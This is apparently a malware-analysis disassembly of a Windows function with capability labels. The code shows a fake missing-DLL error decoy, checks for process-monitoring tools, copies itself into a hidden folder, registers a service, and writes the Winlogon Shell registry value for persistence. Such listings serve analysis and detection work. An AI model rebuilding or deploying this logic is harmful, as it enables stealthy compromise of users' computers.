Function at 0x14000b030
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Delete file
Get common file path
Get file attributes
Get token membership
Persist via winlogon helper dll registry key
Set file attributes
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x550]
sub rsp, 0x650
mov rax, qword [0x140019040]
xor rax, rsp
mov qword [rbp + 0x540], rax
xor r12d, r12d
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
call fcn.1400058d0
test al, al
je 0x14000b0b0
lea r9d, [r12 + 0x10]
lea r8, str.System_Error
lea rdx, str.The_program_cant_start_because_MSVCP140.dll_is_missing_from_your_computer._Try_reinstalling_the_program_to_fix_this_problem.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea eax, [r12 + 1]
jmp 0x14000bf5c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], rax
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xa0], xmm1
lea r8d, [rax + 0x11]
lea rdx, str.processhacker.exe
lea rcx, [rbp + 0x90]
call fcn.140008460
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xc0], xmm1
mov r8d, send
lea rdx, str.systeminformer.exe
lea rcx, [rbp + 0xb0]
call fcn.140008460
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xe0], xmm1
mov r8d, recv
lea rdx, str.LpSysLtdS.exe
lea rcx, [rbp + 0xd0]
call fcn.140008460
nop
lea rax, [rbp + 0x90]
mov qword [rbp - 0x30], rax
lea rax, [rbp + 0xf0]
mov qword [rbp - 0x28], rax
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x70]
call fcn.140006320
nop
lea r9, [fcn.140001e00]
mov edx, 0x20
lea r8d, [rdx - 0x1d]
lea rcx, [rbp + 0x90]
call fcn.14000e758
mov dword [rbp - 0x80], r12d
mov dword [rbp - 0x7c], 0
mov word [rbp - 0x78], 0x500
lea rax, [rbp - 0x30]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp - 0x7c]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14000b1fe
lea r8, [rbp - 0x80]
mov rdx, qword [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x14000b1f4
mov dword [rbp - 0x80], r12d
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x23]
xor ecx, ecx
cmp dword [rbp - 0x80], ecx
je 0x14000b781
lea rax, [rbp + 0x120]
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov rbx, 0xffffffffffffffff
xorps xmm0, xmm0
mov qword [rbp], r12
mov qword [rbp + 8], r12
movups xmmword [rbp - 0x10], xmm0
test eax, eax
js 0x14000b264
lea rax, [rbp + 0x120]
mov r8, rbx
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14000b250
lea rdx, [rbp + 0x120]
jmp 0x14000b26e
xor r8d, r8d
lea rdx, [0x14001211c]
lea rcx, [rbp - 0x10]
call fcn.140008460
nop
mov r8d, 0x104
lea rdx, [rbp + 0x330]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], r12
lea rax, [rbp + 0x330]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14000b2a3
mov r8, rbx
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x10]
call fcn.140008460
nop
lea r8, str.YourAppFolder_
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x30]
call fcn.14000d310
nop
lea r8, str.YourAppName.exe
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
call fcn.14000d310
nop
mov dl, 1
lea rcx, [rbp + 0x70]
call fcn.14000d950
cmp qword [rbp], 0
je 0x14000b63a
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rcx, qword [rbp - 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14000b32c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000b63a
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rcx, qword [rbp - 0x30]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
lea r9, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova r9, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x20]
cmp rdx, qword [rbp - 0x40]
jne 0x14000b399
mov r8, rdx
test rdx, rdx
je 0x14000b469
sub r9, rcx
nop word [rax + rax]
movzx eax, word [rcx + r9]
cmp ax, word [rcx]
jne 0x14000b399
add rcx, 2
sub r8, 1
jne 0x14000b380
jmp 0x14000b469
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000b3d3
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14000b3d3
lea rdx, str.Failed_to_delete_existing_file._Error:
jmp 0x14000b435
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rdx, qword [rbp - 0x50]
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova rcx, qword [rbp + 0x10]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000b42e
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp - 0x50]
call fcn.14000a420
xor edx, edx
lea rcx, [rbp + 0x70]
call fcn.14000d950
jmp 0x14000b63a
lea rdx, str.Failed_to_copy_file._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140007830
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140007a10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
lea r8, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova r8, qword [rbp + 0x10]
cmp rdx, qword [rbp - 0x40]
jne 0x14000b63a
test rdx, rdx
je 0x14000b4b8
sub r8, rcx
nop word [rax + rax]
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x14000b63a
add rcx, 2
sub rdx, 1
jne 0x14000b4a0
lea rax, str.SimpleTimeLoggerService
mov qword [rbp + 0x100], rax
lea rax, [0x14000bfa0]
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], r12
lea rcx, [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
test eax, eax
jne 0x14000b63a
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
lea r8d, [rax + 0x2b]
lea rdx, str.Failed_to_start_service_control_dispatcher.
lea rcx, [rsp + 0x60]
call fcn.140008830
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x120]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x120]
call fcn.14000cf20
nop
cmp qword [rbp + 0x1a8], 0
je 0x14000b5a0
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x70]
lea rcx, [rbp + 0x120]
call fcn.14000a1a0
lea rdx, str._Error:
mov rcx, rax
call fcn.140007a50
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140007df0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], rax
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x11c], edx
lea rcx, [rbp + 0x128]
call fcn.14000ce40
lea rcx, [rbp + 0x130]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000b63a
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b634
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b634
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea70
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x14000b67d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b678
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b678
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea70
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], r12w
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14000b6d1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b6cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b6cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea70
movdqa xmm0, xmmword [0x140012fa0]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x30], r12w
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x14000b726
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b721
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b721
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea70
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], 7
mov word [rbp + 0x10], r12w
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x14000bf51
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bf4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bf4b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rax, [rbp + 0x330]
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov rbx, 0xffffffffffffffff
xorps xmm0, xmm0
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], r12
movups xmmword [rbp + 0x50], xmm0
test eax, eax
js 0x14000b7d4
lea rax, [rbp + 0x330]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14000b7c0
lea rdx, [rbp + 0x330]
jmp 0x14000b7de
xor r8d, r8d
lea rdx, [0x14001211c]
lea rcx, [rbp + 0x50]
call fcn.140008460
nop
mov r8d, 0x104
lea rdx, [rbp + 0x120]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r12
lea rax, [rbp + 0x120]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14000b813
mov r8, rbx
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x30]
call fcn.140008460
nop
lea r8, str.YourAppFolder_
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x10]
call fcn.14000d310
nop
lea r8, str.YourAppName.exe
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x70]
call fcn.14000d310
nop
cmp qword [rbp + 0x60], 0
je 0x14000bdf2
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rcx, qword [rbp - 0x10]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14000b891
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000bdf2
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rcx, qword [rbp - 0x10]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
lea r9, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova r9, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x40]
mov r10, qword [rbp - 0x60]
cmp rdx, r10
jne 0x14000b8fb
mov r8, rdx
test rdx, rdx
je 0x14000bdfa
sub r9, rcx
movzx eax, word [rcx + r9]
cmp ax, word [rcx]
jne 0x14000b8fb
add rcx, 2
sub r8, 1
jne 0x14000b8e2
jmp 0x14000bdfa
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000b9b6
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14000b9b6
lea rdx, str.Failed_to_delete_existing_file._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140007830
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140007a10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14000be53
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000be4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000be4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rdx, qword [rbp - 0x70]
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova rcx, qword [rbp + 0x30]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000bde6
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [rbp + 0x90], WSAGetLastError
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
movups xmmword [rbp + 0xa8], xmm0
movups xmmword [rbp + 0xb8], xmm0
movups xmmword [rbp + 0xc8], xmm0
movups xmmword [rbp + 0xd8], xmm0
movups xmmword [rbp + 0xe8], xmm0
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000bab5
lea rdx, str.Failed_to_create_process._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140007830
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140007a10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x14000bac9
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rbp - 0x60]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, rsi
cmp rax, 0xf
jb 0x14000bf98
lea r15, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova r15, qword [rbp - 0x70]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea r14, [rsi + 0xf]
mov ebx, 7
lea rdi, [rsp + 0x60]
cmp r14, rbx
jbe 0x14000bbb1
mov rbx, r14
or rbx, 7
cmp rbx, rcx
jbe 0x14000bb3c
mov rbx, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x14000bb6b
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x14000bf8c
add rcx, rcx
cmp rcx, 0x1000
jb 0x14000bb9a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000bf8c
mov rcx, rax
call fcn.14000e71c
test rax, rax
je 0x14000bb93
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000bbac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000bba9
call fcn.14000e71c
mov rdi, rax
jmp 0x14000bbac
mov rdi, r12
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], rbx
movups xmm0, xmmword [0x140012c70]
movups xmmword [rdi], xmm0
movsd xmm0, qword [0x140012c80]
movsd qword [rdi + 0x10], xmm0
mov eax, dword [0x140012c88]
mov dword [rdi + 0x18], eax
movzx eax, word [0x140012c8c]
mov word [rdi + 0x1c], ax
lea rcx, [rdi + 0x1e]
lea r8, [rsi + rsi]
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov word [rdi + r14*2], r12w
lea rdx, [0x140012c6c]
lea rcx, [rsp + 0x60]
call fcn.140007240
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x14000bc8b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bc86
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bc86
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea70
movdqa xmm0, xmmword [0x140012fa0]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], r12w
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000bd39
mov eax, dword [rbp + 0x110]
lea eax, [rax*2 + 2]
lea rcx, [rbp + 0x100]
cmp qword [rbp + 0x118], 7
cmova rcx, qword [rbp + 0x100]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.Shell
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x14000bd30
lea rdx, str.Shell_value_in_the_registry_has_been_successfully_updated.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
jmp 0x14000bd7e
lea rdx, str.Failed_to_set_registry_value__error:
jmp 0x14000bd40
lea rdx, str.Failed_to_open_registry_key__error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140007830
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140007a10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.Unable_to_set_Shell_value_in_the_registry._Make_sure_you_have_administrator_privileges.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.14000d4a0
lea rdx, [0x140007a10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 7
jbe 0x14000b96c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bddc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bddc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea70
jmp 0x14000b96c
lea rdx, str.Failed_to_copy_file._Error:
jmp 0x14000b93b
mov rdx, qword [rbp + 0x40]
mov r10, qword [rbp - 0x60]
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
lea r8, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova r8, qword [rbp + 0x30]
cmp rdx, r10
jne 0x14000b96c
test rdx, rdx
je 0x14000bf92
sub r8, rcx
nop dword [rax + rax]
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x14000b96c
add rcx, 2
sub rdx, 1
je 0x14000bf92
jmp 0x14000be30
call fcn.14000ea70
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r12w
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x14000bea7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bea2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bea2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea70
movdqa xmm0, xmmword [0x140012fa0]
movdqu xmmword [rbp], xmm0
mov word [rbp - 0x10], r12w
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x14000befc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bef7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bef7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea70
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], 7
mov word [rbp + 0x30], r12w
mov rdx, qword [rbp + 0x68]
cmp rdx, 7
jbe 0x14000bf51
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bf4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bf4b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea70
nop
lea rcx, [rbp + 0x70]
